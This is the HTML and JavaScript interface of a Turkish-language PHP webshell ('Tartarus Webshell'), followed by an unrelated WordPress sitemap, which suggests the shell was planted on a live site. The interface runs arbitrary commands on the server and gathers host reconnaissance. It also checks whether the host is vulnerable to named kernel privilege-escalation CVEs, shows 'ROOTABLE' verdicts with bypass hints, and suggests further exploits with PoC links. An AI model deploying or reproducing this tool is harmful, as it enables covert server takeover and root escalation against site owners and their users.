<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Tartarus Webshell</title>
<style>
  * { box-sizing: border-box; margin: 0; }
  body { background: #0d1117; color: #c9d1d9; font-family: 'Cascadia Code', Consolas, monospace; padding: 16px; font-size: 14px; }
  h1 { font-size: 18px; color: #58a6ff; margin-bottom: 12px; }
  .panel { background: #161b22; border: 1px solid #30363d; border-radius: 8px; padding: 14px; margin-bottom: 14px; }
  .panel h2 { font-size: 14px; color: #8b949e; margin-bottom: 10px; text-transform: uppercase; letter-spacing: 1px; }
  .row { display: flex; gap: 8px; }
  input[type=text] { flex: 1; background: #0d1117; border: 1px solid #30363d; color: #c9d1d9; padding: 9px; border-radius: 6px; font-family: inherit; }
  button { background: #21262d; color: #58a6ff; border: 1px solid #30363d; padding: 9px 16px; border-radius: 6px; cursor: pointer; font-family: inherit; font-size: 13px; }
  button:hover { background: #30363d; }
  button:disabled { opacity: .5; cursor: wait; }
  pre { background: #010409; border: 1px solid #21262d; border-radius: 6px; padding: 12px; white-space: pre-wrap; word-break: break-all; max-height: 420px; overflow-y: auto; font-size: 13px; }
  .verdict { font-size: 16px; font-weight: bold; padding: 10px 14px; border-radius: 6px; margin: 10px 0; }
  .verdict.yes { background: #0f2e1a; color: #3fb950; border: 1px solid #238636; }
  .verdict.no  { background: #2d1214; color: #f85149; border: 1px solid #da3633; }
  .verdict.mid { background: #2d2200; color: #d29922; border: 1px solid #9e6a03; }
  .bypass { color: #d29922; font-size: 12px; margin-top: 4px; border-top: 1px dashed #9e6a03; padding-top: 4px; }
  table { width: 100%; border-collapse: collapse; margin-top: 8px; }
  td, th { border: 1px solid #30363d; padding: 7px 10px; text-align: left; font-size: 13px; }
  th { color: #8b949e; background: #0d1117; }
  .ok { color: #3fb950; } .fail { color: #f85149; }
  .missing { margin-top: 8px; color: #f85149; }
  a { color: #58a6ff; }
  .hint { color: #8b949e; font-size: 12px; margin-top: 6px; }
</style>
</head>
<body>
<h1>TARTARUS WEBSHELL</h1>

<div class="panel">
  <h2>Sistem Bilgileri</h2>
  <div id="sysinfo" class="hint">Yukleniyor...</div>
  <pre id="syspre" style="display:none;max-height:none"></pre>
</div>

<div class="panel">
  <h2>Komut Cizgisi</h2>
  <div class="row">
    <input type="text" id="cmd" placeholder="ornek: ls -la / ; id ; uname -a" autofocus>
    <button onclick="runCmd()">Calistir</button>
  </div>
  <div class="hint">Enter = calistir. Sunucu uzerinde PHP kullanicisi olarak calisir.</div>
  <pre id="cmdout" style="display:none"></pre>
</div>

<div class="panel">
  <h2>Exploit Uyumluluk Testleri</h2>
  <div class="row">
    <button id="btn-cf" onclick="testExploit('copyfail','cfout')">CopyFail (CVE-2026-31431) Test Et</button>
    <button id="btn-df" onclick="testExploit('dirtyfrag','dfout')">DirtyFrag (CVE-2026-43284/43500) Test Et</button>
    <button id="btn-frag" onclick="testExploit('fragnesia','fragout')">Fragnesia (CVE-2026-46300) Test Et</button>
    <button onclick="altCves()">Alternatif CVE Oner (kernel'e gore)</button>
  </div>
  <div id="cfout"></div>
  <div id="dfout"></div>
  <div id="fragout"></div>
  <div id="altout"></div>
</div>

<script>
function esc(s){ return s.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;'); }
function post(action, data, btn) {
  return new Promise(function(res, rej) {
    if (btn) btn.disabled = true;
    var fd = new FormData();
    fd.append('action', action);
    for (var k in data) fd.append(k, data[k]);
    fetch(location.href.split('?')[0], { method: 'POST', body: fd })
      .then(function(r){ return r.json(); })
      .then(function(d){ if (btn) btn.disabled = false; res(d); })
      .catch(function(e){ if (btn) btn.disabled = false; rej(e); });
  });
}
function runCmd() {
  var cmd = document.getElementById('cmd').value;
  if (!cmd) return;
  post('cmd', { cmd: cmd }, null).then(function(d) {
    var el = document.getElementById('cmdout');
    el.style.display = 'block';
    el.textContent = '$ ' + cmd + '\n' + (d.out || '(cikti yok)');
  });
}
document.getElementById('cmd').addEventListener('keydown', function(e) { if (e.key === 'Enter') runCmd(); });

function renderResult(d, el) {
  var h = '<div class="panel"><h2>' + esc(d.name) + '</h2>';
  var vClass = d.verdictClass || (d.rootable ? 'yes' : 'no');
  var vText = d.verdict || (d.rootable ? 'ROOTABLE' : 'DEGIL');
  h += '<div class="verdict ' + vClass + '">' + esc(vText) + '</div>';
  if (d.score !== undefined) h += '<div class="hint">Skor: ' + d.score + '/100 (esik: 95+ ve hard gate\'ler = KESIN)</div>';
  if (d.container) h += '<div class="missing">! ' + esc(d.container) + '</div>';
  h += '<div class="hint">' + esc(d.desc) + '</div>';
  h += '<table><tr><th>Kontrol</th><th>Durum</th><th>Detay</th></tr>';
  for (var i = 0; i < d.checks.length; i++) {
    var c = d.checks[i];
    h += '<tr><td>' + esc(c[0]) + '</td><td class="' + (c[1] ? 'ok">OK' : 'fail">FAIL') + '</td><td>' + esc(c[2]);
    if (!c[1] && c[3]) h += '<div class="bypass">Bypass: ' + esc(c[3]) + '</div>';
    h += '</td></tr>';
  }
  h += '</table>';
  var missingArr = d.missing || [];
  if (missingArr.length)
    h += '<div class="missing">Eksikler: ' + missingArr.map(esc).join(' | ') + '</div>';
  h += '</div>';
  el.innerHTML = h;
}
function testExploit(action, elId) {
  var el = document.getElementById(elId);
  el.innerHTML = '<div class="panel"><h2>Test calisiyor...</h2></div>';
  var btnMap = { cfout: 'btn-cf', dfout: 'btn-df', fragout: 'btn-frag' };
  post(action, {}, btnMap[elId] ? document.getElementById(btnMap[elId]) : null)
    .then(function(d){ renderResult(d, el); });
}
function altCves() {
  var el = document.getElementById('altout');
  el.innerHTML = '<div class="panel"><h2>Kernel analizi yapiliyor...</h2></div>';
  post('altcves', {}, null).then(function(d) {
    var h = '<div class="panel"><h2>Alternatif CVE Onerileri (kernel: ' + esc(d.info.split('\n')[0]) + ')</h2>';
    h += '<pre>' + esc(d.info) + '</pre>';
    h += '<table><tr><th>CVE</th><th>Tur</th><th>Etki Araligi</th><th>PoC</th></tr>';
    for (var i = 0; i < d.suggestions.length; i++) {
      var s = d.suggestions[i];
      h += '<tr><td class="ok">' + esc(s[0]) + '</td><td>' + esc(s[1]) + '</td><td>' + esc(s[2]) + '</td><td>' + (s[3] ? '<a href="' + esc(s[3]) + '" target="_blank">' + esc(s[3]) + '</a>' : '-') + '</td></tr>';
    }
    h += '</table><div class="hint">Not: Distro backportlar nedeniyle gercek durum farkli olabilir; /proc/version ve distro advisory ile dogrula.</div></div>';
    el.innerHTML = h;
  });
}
post('info', {}, null).then(function(d) {
  document.title = 'Webshell — ' + (d.whoami ? d.whoami.split('\n')[0] : 'PHP ' + d.php);
  var L = [];
  L.push('Kullanici        : ' + (d.whoami || '(exec fonksiyonlari kapali)'));
  if (d.groups) L.push('Gruplar          : ' + d.groups);
  L.push('OS               : ' + (d.os || '-'));
  L.push('Uname            : ' + (d.uname || '-'));
  L.push('Kernel           : ' + d.kernel + '  [' + d.arch + ']');
  L.push('PHP              : ' + d.php + '  [' + d.sapi + ']');
  L.push('Sunucu           : ' + (d.server_software || '-'));
  L.push('Host             : ' + (d.http_host || '-') + '  (IP: ' + (d.remote_addr || '-') + ')');
  L.push('DocumentRoot     : ' + (d.document_root || '-'));
  if (d.server_user) L.push('Server User      : ' + d.server_user);
  if (d.diag) {
    L.push('Exec fonksiyonlari: ' + (d.diag.available.length ? d.diag.available.join(', ') : 'YOK — tumu kapali!'));
    if (d.diag.missing.length) L.push('Kapali fonksiyonlari: ' + d.diag.missing.join(', '));
  }
  var ini = d.ini || {};
  var iniKeys = ['open_basedir','safe_mode','memory_limit','upload_max_filesize','post_max_size','max_execution_time','max_input_vars','file_uploads','expose_php','display_errors','session.save_path','date.timezone'];
  for (var j = 0; j < iniKeys.length; j++) {
    var ik = iniKeys[j];
    if (ini[ik] !== '' && ini[ik] !== false && ini[ik] !== null)
      L.push('ini.' + ik + '   : ' + ini[ik]);
  }
  if (d.extensions) L.push('Extensions (' + d.extensions.length + '): ' + d.extensions.join(', '));
  var pre = document.getElementById('syspre');
  pre.textContent = L.join('\n');
  pre.style.display = 'block';
  document.getElementById('sysinfo').style.display = 'none';
}).catch(function(e) {
  document.getElementById('sysinfo').textContent = 'info alinamadi: ' + e;
});
</script>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://l-bro.biz/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://l-bro.biz/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://l-bro.biz/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://l-bro.biz/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://l-bro.biz/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://l-bro.biz/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
